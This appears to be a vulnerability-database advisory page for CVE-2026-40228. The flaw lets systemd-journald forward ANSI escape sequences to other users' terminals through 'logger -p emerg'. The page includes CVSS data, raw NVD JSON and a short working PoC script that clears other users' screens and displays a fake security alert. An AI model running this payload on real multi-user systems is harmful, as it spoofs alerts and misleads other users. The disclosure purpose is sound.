Security Vulnerability Report
中文
CVE-2026-40228 CVSS 2.9 LOW

CVE-2026-40228

Published: 2026-04-10 16:16:34
Last Modified: 2026-05-05 02:16:05

Description

In systemd 259, systemd-journald can send ANSI escape sequences to the terminals of arbitrary users when a "logger -p emerg" command is executed, if ForwardToWall=yes is set.

CVSS Details

CVSS Score
2.9
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:systemd_project:systemd:259:-:*:*:*:*:*:* - VULNERABLE
systemd 259

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-40228: ANSI Escape Sequence Injection via systemd-journald # This script sends a 'emergency' level log containing ANSI codes to clear the screen # and display a fake message, assuming ForwardToWall is enabled. # Construct the payload: Clear screen + Red Text PAYLOAD="\033[2J\033[1;31mSYSTEM ALERT: Unauthorized access detected!\033[0m" # Send the payload using logger logger -p emerg "$PAYLOAD"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40228", "sourceIdentifier": "[email protected]", "published": "2026-04-10T16:16:33.753", "lastModified": "2026-05-05T02:16:04.820", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In systemd 259, systemd-journald can send ANSI escape sequences to the terminals of arbitrary users when a \"logger -p emerg\" command is executed, if ForwardToWall=yes is set."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-669"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:systemd_project:systemd:259:-:*:*:*:*:*:*", "matchCriteriaId": "6D85A795-8EF7-4636-B021-3B1504C45503"}]}]}], "references": [{"url": "https://www.openwall.com/lists/oss-security/2026/04/08/1", "source": "[email protected]", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/05/1", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}